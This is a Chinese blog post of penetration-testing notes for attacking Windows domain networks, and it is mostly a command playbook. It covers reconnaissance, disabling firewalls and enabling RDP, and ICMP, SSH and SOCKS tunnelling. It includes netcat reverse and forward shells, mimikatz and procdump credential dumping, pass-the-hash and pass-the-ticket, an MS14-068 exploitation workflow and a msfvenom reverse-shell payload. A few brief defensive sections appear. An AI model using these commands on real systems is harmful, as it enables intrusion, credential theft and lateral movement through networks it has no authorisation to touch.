内网渗透简洁笔记

第二章-内网信息收集

2.1 ================= 工作组手动信息收集 ==================
1.查询网络配置信息
    ipconfig /all

2.查询操作系统及软件信息
    systeminfo
    查看系统体系结构
    echo %PROCESSOR_ARCHItECTURE%
    查看安装的软件及版本及路径
    wmic product get name,version

3.查询本机服务信息
    wmic service list brief

4.查询进程列表
    tasklist /v
    查看详细信息
    wmic process list brief
    
5.查看启动程序信息
    wmic startup get command,caption
6.查看计划任务
    schtasks /query /fo LIST /v
7.查看主机开机时间
    net statistics workstation
8.查询用户列表
    net user
    获得本地管理员信息
    net localgroup administrators
    查看在线用户
    query user || qwinsta
9.列出会话
    net session
10.查看端口列表
    netstat -ano
11.查看补丁
    systeminfo
    wmic qfe get Caption,Description,HotFixID,InstalledOn
12.查询本机共享列表
    net share
    wmic share get name,path,status
13.查询路由表和ARP缓存表
    route print
    arp -a
14.查询防火墙
(1)关闭防火墙
    #win_server2003及以前版本
    netsh firewall set opmode disable
    #win_server2003之后版本
    netsh advfirewall set allprofiles state off
(2)查看防火墙配置
    netsh firewall show config
(3)修改防火墙配置
    Windows Server 2003 系统及之前版本,允许指定程序全部连接,命令如下。
    netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
 
    Windows Server 2003 之后系统版本,情况如下。
    允许指定程序连入,命令如下。
    netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
    
    允许指定程序连出,命令如下。
    netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe"
    
    允许 3389 端口放行,命令如下。
    netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
    
(4)自定义防火墙日志储存位置
    netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"

15.查看代理配置情况
    reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

16.查询并开启远程连接服务
(1)查看远程连接端口
在cmd下使用注册表查询语句,命令如下,得到连接端口为 0xd3d,转换后为 3389
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
 
(2)在 Windows Server2003中开启3389端口
wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
 
(3)在 Windows Server 2008 和 Windows Server 2012 中开启 3389 端口
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
 
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
 
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

2.2 ============= 自动信息收集 ================
#Empire下的信息收集
(Empire: W12MRC5H) > usemodule situational_awareness/host/winenum
(Empire: powershell/situational_awareness/host/winenum) > execute


2.3 ==============查询当前权限=================
查看当前权限
whoami
获取域 SID
whoami /all              #获取域 SID
查询指定账户的详细信息
net user XXX /domain     #查询指定账户的详细信息

2.4 ===============判断是否有域==================
1.使用 ipconfig 命令
ipconfig /all    #执行如下命令,可以查看网关 P地址、DNS的IP地址、本地地址是否和DNS服务器为同一网段、域名等
nslookup hello.testlab    #通过反向解析查询命令 nslookup 来解析域名的IP地址。使用解析出来的IP地址进行对比,判断域控制器和DNS服务器是否在同一台服务器上
2.查看系统详细信息
systeminfo    #如下图所示域即域名,登录服务器为域控制器。如果域显示为WORKGROUP,表示当前服务器不在域内。当前域名为hello.testlab。
3.查询当前登录域及登录用户信息
net config workstation     ##工作站域DNS名称显示域名(如果显示为 WORKGROUP,则表示非域环境)。登录域表明当前用户是域用户登录还是本地用户登录,此处表明当前用户是本地登录。

4.判断主域
net time /domain     #执行如下命令,判断主域,一般域服务器都会同时作为时间服务器。
1.存在域,但当前用户不是域用户,提示'发生系统错误5'
2.存在域,并且当前用户是域用户,提示'DC.hello.testlab 的时间是xxx'
3.当前网络环境为工作组,不存在域,提示'找不到域xxx的控制器'

2.5 ==================探测域内存活主机=============
1.利用 NetBIOS 快速探测内网
    nbtscan  192.168.1.0/24
    nbtscan.exe 192.168.1.0/24    
2.利用 ICMP 协议快速探测内网
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="

2.6 ====================扫描域内端口=================

1.探测主机端口
telnet DC 22
telnet DC 1443

2.S扫描器
S.exe TCP 192.168.1.1 192.168.1.254 445,3389,1433,7001,1099,8080,80,22,23,21,25,110,3306,5432,1521,6379,2049,111 256 /Banner /save
#S 扫描器是早期的一种比较快速的端口扫描工具,特别适合运行在 Windows Sever2003 以下的平台上,支持大网段扫描

3.Metasploit 端口扫描
msf5 > use auxiliary/scanner/portscan/tcp
msf5 auxiliary(scanner/portscan/tcp) > show options
msf5 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.2
RHOSTS => 192.168.1.2
msf5 auxiliary(scanner/portscan/tcp) > set PORTS 1-1024
PORTS => 1-1024
msf5 auxiliary(scanner/portscan/tcp) > set THREADS 100
THREADS => 100
msf5 auxiliary(scanner/portscan/tcp) > run

2.7===================收集域内基础信息=================
1.查询域
net view /domain

2.查询域内所有计算机
net view /domain:HACKE

3.查询用户组列表
net group /domain

Domain Admins:域管理员组。
Domain Computers:域内机器。
Domain Controllers:域控制器。
Domain Guest:域访客组,权限较低。
Domain Users:域用户。
Enterprise Admins:企业系统管理员用户。
在默认情况下,Domain Admins 和 Enterprise Admins 对域内所有域控制器有完全控制权限。

4.查询域内计算机列表
net group "domain computers" /domain

5.获取域密码信息
net account domain    #获得域密码策略设置、密码长短、错误锁定等信息

6.获取信任信息
nltest /domain_trusts


2.8 ===================== 查找域控制器 ==================
1.查看域内控制器的机器名
nltest /DCLIST:hacke
2.查看域控制器的主机名(dc.hacke.testlab)
Nslookup -type=SRV _ldap._tcp
3.查看当前时间
net time /domain    #一般时间服务器未主域控服务器
4.查看域控制器组
net group "Domain Controllers" /domain
netdom query pdc    #在真实环境中,一般存在两台或两台以上的域控制器,其目的是:一旦主域控制器发生故障,备用的域控制器可以使域内服务验证正常进行。

2.9 ================ 获取域内的用户和管理员信息 =================
1.向域控制器进行查询
net user /domain
2.获取域内用户详细信息
wmic useraccount get /all
3.查看存在的用户
dsquery user
 
1 dsquery computer    -查找目录中的计算机。
2 dsquery contact    -查找目录中的联系人。
3 dsquery subnet     -找目录中的子网。
4 dsquery group     -查找目录中的组。
5 dsquery ou     -查找目录中的组织单位。
6 dsquery site    -查找目录中的站点。
7 dsquery server     -查找目录中的AD DC/LDS实例。
8 dsquery user     -查找目录中的用户。
9 dsquery quota     -查找目录中的配额规定。
10 dsquery partition     -查找目录中的分区。
11 dsquery *     -用通用的LDAP查询来查找目录中的任何对象。

4.查询域内置本地管理员组用户
net localgroup administrators /domain

2.9.2 =================== 查询域管理员用户组 ==============
1.查询域管理员用户
net group "domain admins" /domain
2.查询管理员用户组
net group "Enterprise Admins" /domain

2.10 =================== 定位域管理员(工具) ================
psloggedon.exe
pveFindADUser.exe
netview.exe
Nmap 的 NSE 脚本
PowerView
Empire 下的 user_hunter 模块

第4章-隧道

判断内网连通性:
ICMP协议
ping

TCP协议:
linux:netcat(简称nc)#nc ip地址 端口

http协议:
curl www.baidu.com
(windows需安装curl命令)

DNS协议:
windows:nslooup www.baidu.com vsp-ip
linux:dig @vps-ip www.baidu.com

ICMP隧道
1.icmpsh:
vps
    git clone https://github.com/inquisb/icmpsh.git
    sysctl -w net.ipv4.icmp_echo_ignore_all=1     #关闭系统Ping命令应答,使用完后改为0
    cd icmpsh
    pip install impacket
    ./icmpsh_m.py 192.168.0.11 192.168.0.8    #192.168.0.11为本机攻击ip地址,192.168.0.8是目标的公网ip地址
    #可以使用ping vpsip地址,tcpdump icmp来获取目标机器的公网ip

目标机器
	icmpsh.exe -t 192.168.0.11 -d 500 -b 30 -s 128

2.pingtunnel
#在Web服务器192.168.1.4中输入如下命令:
ptunnel -x shuteer
#在VPS机器192.168.1.10中执行如下命令
ptunnel -p 192.168.1.4 -lp 1080 -da 1.1.1.10 -dp 3389 -x shuteer

-x:指定ICMP隧道连接的验证密码。
-lp:指定要监听的本地TCP端口。
-da:指定要转发的目标机器的IP地址。
-dp:指定要转发的目标机器的TCP端口。
-p:指定ICMP隧道另一端的机器的IP地址。

上述命令的含义是:在访问攻击者VPS ( 192.168.1.10 )的1080端口时,会把数据库服务器1.1.1.10 的3389端口的数据封装在ICMP隧道里,以 Web服务器192.168.1.4为ICMP隧道跳板进行传送。


3.防御ICMP隧道攻击的方法
a.检测同一来源的ICMP数据包的数量,一个正常的ping命令每秒最多发送两个数据包,而是要ICMP隧道的浏览器会在很短的时间内产生上千个ICMP数据包
b.注意那些Payload大于64bit的ICMP数据包
c.寻找响应数据包中的Payload与请求数据包中的Payload不一致的ICMP数据包
d.检查ICMP数据包的协议标签。例如,icmptunnel会在所有的ICMP Payload前面添加“TUNL"标记来标识隧道



传输层隧道技术
1.lcx端口转发
a.在目标机器上执行如下命令,将目标机器3389端口的所有数据转发到公网VPS的4444端口上。
lcx.exe -slave<公网主机IP地址>4444 127.0.0.1 3389
b.在VPS上执行如下命令,将本机4444端口上监听的所有数据转发到本机的5555端口上。
lcx.exe -listen 4444 5555

2.netcat
-d:后台模式。
-c:程序重定向。
-g <网关>:设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目>:设置源路由指向器的数量,值为4的倍数。
-h:在线帮助。
-i<延迟秒数>:设置时间间隔,以便传送信息及扫描通信端口。
-l:使用监听模式,管理和控制传入的数据。
-n:直接使用IP地址(不通过域名服务器)
-o <输出文件>:指定文件名称,把往来传输的数据转换为十六进制字节码后保存在该文件中。
-p<通信端口>:设置本地主机使用的通信端口。
-r:随机指定本地与远程主机的通信端口。
-s<源地址>:设置本地主机送出数据包的IP地址。
-u:使用UDP传输协议。
-v:详细输出。
-w<超时秒数>:设置等待连线的时间。
-z:将输入/输出功能关闭,只在扫描通信端口时使用。

1.抓取Banner信息
    nc -nv 192.168.123.103 21
2.连接远程主机
    nc -nvv 192.168.11.135 80
3.端口扫描
    nc -v 192.168.11.138 80
    nc -v -z 192.168.11.138 20-1024
4.端口监听
    nc -l -p 9999
5.文件传输
    A主机:nc -lp 333 >1.txt
    B主机:nc -vn 192.168.1.4333 < test.txt -q 1
6.简易聊天
    A:nc -l -p 888
    B:nc -vn 192.168.1.4 888

7.获取shell
a.正向shell
受害机:
    nc -lvp 4444 -e /bin/sh                     //Linux
    nc -lvp 4444 -e c:\windows\system32\cmd.exe //windows
攻击机:
    nc 192.168.1.11 4444
b.反向shell
受害机:
    nc 192.168.11.144 9999 -e /bin/sh                       //Linux
    nc 192.168.11.144 9999 -e c:\windows\system32\cmd.exe   //windows
攻击机:
    nc -lvp 9999

8.内网代理
在VPS中输入如下命令
    nc -lvp 3333
web服务器
    nc -v 192.168.1.4 3333 -c "nc -v 1.1.1.200 3333"
数据库服务器
    nc -lvp 3333 -e /bin/ sh


3.4 ========= 应用层隧道技术(linux/unix) =========
1.ssh协议
一个普通的SSH命令如下。
    -C:压缩传输,提高传输速度。
    -f:将SSH传输转入后台执行,不占用当前的Shell。
    -N:建立静默连接(建立了连接,但是看不到具体会话)。
    -g:允许远程主机连接本地用于转发的端口。
    -L:本地端口转发。
    -R:远程端口转发。
    -D:动态转发(SOCKS代理)。
    -P:指定SSH端口。

1.端口转发
本地转发
    ssh -CfNg -L 1153(VPS端口):1.1.1.10(目标主机):3389(目标端口) root@192.168.1.11(跳板机)
远程转发
    ssh -CfNg -R 3307(VPS端口):1.1.1.10(目标主机):3389(目标端口) root@192.168.1.4
动态转发(SOCKS代理)
#在vps上执行,在浏览器设置127.0.0.1:7000代理即可访问内网
    ssh -CfNg -D 7000 root@192.168.1.11

2.防御 SSH隧道攻击的思路
SSH隧道之所以能被攻击者利用,主要是因为系统访问控制措施不够。在系统中配置SSH远程管理白名单,在ACL 中限制只有特定的IP地址才能连接SSH,以及设置系统完全使用带外管理等方法,都可以避免这一问题。
如果没有足够的资源来建立带外管理的网络结构,在内网中至少要限制SSH远程登录的地址和双向访问控制策略(从外部到内部;从内部到外部)。

3.5 =============== SOCKS代理 ==============
EarthWorm(全os)
1.正向socks5代理(目标有公网ip)
    ew -s ssocked -l 888
2.反向socks5代理
    VPS:        ew -s rcsocks -l 1008 -e 888
    web_server: ew -s rssocks -d 139.1.1.113 -e 888
通过设置代理139.1.1.113:1008使用web_server代理服务器
3.二级网络环境a
    内网中的机器B:ew -s ssocksd -l 888
    边界服务器A:  ew -s lcx_tran -l 1080 -f A主机公网ip -g 888    #将1080端口收到的代理请求转发给内网中的机器B的888端口
4.二级网络环境b
A主机无公网ip,也无法访问内网。B主机可以访问内网,无法访问外网
    VPS:  ew -s lcx_listen -l 1080 -e 888    #在公网vps中添加转接隧道,将1080端口接收到的请求转发给888端口
    主机B:ew -s ssocked -l 999    #ssocked方式启动999端口的socks代理
    主机A:ew -s lcx_slave -d vpsip -e 888 -f A主机IP -g 999     #在A主机上利用lcx_slave方式,将vps的888端口和B主机的999端口连接起来
5.三级网络环境
#公网VPS上执行如下命令,将1080端口收到的代理请求转发给888端口。
	ew -s rcsocks -l 1080 -e 888
#在A主机上执行如下命令,将公网VPS的888端口和B主机的999端口连接起来。
	ew -s lcx slave -d 139.*.*.113 -e 888 -f 10.48.128.12 -g 999
#在B主机上执行如下命令,将999端口收到的代理请求转发给777端口。
	ew -s lcxlisten -l 999 -e 777
#在C主机上启动SOCKS5服务,并反弹到B主机的777端口上,命令如下。
	ew -s rssocks -d 10.48.128.12 -e 777

第五章-横向移动

使用ipc连接
	net use \\192.168.1.106\ipc$ "ning" /user:ning
	net use f: \\192.168.1.1\c$ "@dc123456" /user:"Ning"  (即可将对方的c盘映射为自己的z盘,其他盘类推)
查看连接
	net use
dir命令
	dir \\192.168.43.247\c$
tasklist命令
	tasklist /S 192.168.43.247 /U ning /P ning

查看目标时间
	net time \\192.168.1.102

copy 命令
	copy test.bat \\192.168.1.102\c$



设置任务	
	目标主机<=win server 2008
	at \\192.168.1.102 16:45 c:\test.bat

	目标主机>=win server 2012
	schtasks /create /s 192.168.43.247 /tn test /sc onstart /tr c:\test.bat /ru system /f
执行任务
	schtasks /run /s 192.168.43.247 /i /tn "test"


删除ipc$
	net use \\192.168.43.3\ipc$ /del /y

--------导出明文或哈希(明文<=2008)
1.使用sam和system文件导出哈希
导出sam和system文件
	reg save hklm\sam sam.hive
	reg save hklm\system system.hive

通过mimikatz导出hash
	lsadump::sam /sam:sam.hive /system:system.hive

开启reg add命令
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f


2.使用mimikatz离线读取lsass.dmp文件
目标机:
	Procdump.exe -accepteula -ma lsass.exe lsass.dmp
minikatz:
	sekurlsa::minidump lsass.DMP
	sekurlsa::logonPasswords full
--------------------------------------- windows server 2012
 * Username : Administrator
         * Domain   : WIN-DRORIGCSR3A
         * NTLM     : 9bb8843ea315134b0b6be65b549a9235
         * SHA1     : 151550c9d987e11c9dae2738e03dbcc855c5d4f
---------------------------------------


--------------mimikatz哈希传递
	privilege::debug
	sekurlsa::pth /user:Ning /domain:hacke.testlab /ntlm:0ef91438203428ca361c8ca653ef101a


-----------mimikatz票据传递
privilege::debug
sekurlsa::tickets /export   导出票据
kerberos::purge             删除所有票据

kerberos::ptt "路径"        将票据注入内存

-----------kekeo票据传递
生成票据:
	kekeo "tgt::ask /user:administrator /domain:hacke.testlab /ntlm:*****"
清除内存中票据:
	kerberos::purge
	cmd中清除:klist purge
将票据导入内存:
	kerberos::ptt TGT_administrator@PENTEST.COM_krbtgt~pentest.com@PENTEST.COM.kirbi


-------------PsExec
在建立$ipc情况下:
	PsExec.exe -accepteula \\192.168.43.2 -s cmd.exe


-------------WMI
wmic /node:192.168.43.2 /user:administrator /password:admin process call create "cmd.exe /c ipconfig >ip.txt"

使用type查看:
	type \\192.168.43.3\C$\ip.txt
	

第六章-域控渗透

监控卷影拷贝服务的使用情况

	通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。
	监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为。
	监控System Event ID 7036(卷影拷贝服务进人运行状态的标志)的可疑实例,以及创建vssvc.exe进程的事件。
	监控创建dkshndko.exe及相关子进程的事件。
	监控客户端设备中的diskshadow.exe实例创建事件。除非业务需要, 在Windows操作系统中不应该出现diskshadow.exe.如果发现,应立刻将其删除。
	通过日志监控新出现的逻辑驱动器映射事件。



MS14_068攻击流程
1.在Metasploit进行测试
    use auxiliary/admin/kerberos/ms14_068_kerberos_checksum 
    
	设置参数
	DOMAIN:域名。
	PASSWORD:被提权用户的密码。
	USER:被提权的用户。
	USER_SID:被提权用户的SID。

    exploit

填写所有信息后,输入“exploit”命令,会在/rootl.msf4/loot目录下生成文件20180715230259_default_172.16.86.130_windows.kerberos_839172.bin,如图6-59所示。


2.格式转换
    msf不支持导入bin文件。使用mimikatz进行格式转化
    kerberos::clist ".......bin" /export

3.msfvenom生成一个反向shell

	msfvenom -p /windows/meterpreter/reverse_tcp LHOST=1.1.1.5 LPORT=7777 -f exe > shell.exe

4.msf设置监听
	use exploit/multi/reverse_tcp
	exploit
5.
    getuid    查看权限
    load kiwi 
    kerberos_ticket_use/tmp/...kirbi    #导入票据
    background
    
6.使用高权限票据进行测试
    use exploit/windows/local/current_user_psexec 
    set payload windows/meterpreter/reverse_tcp
    set TECHNIQUE PSH
    set RHOSTS win2008.hello.com
    set lhost 1.1.1.5
    set session 1
    exploit 

 

 
6.6.5防范建议

    开启Windows Update功能,进行自动更新。
    手动下载补丁包进行修复。微软已经发布了修复该漏洞的补丁
    对域内账号进行控制,禁止使用弱口令,及时、定期修改密码。
    在服务器上安装反病毒软件,及时更新病毒库。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值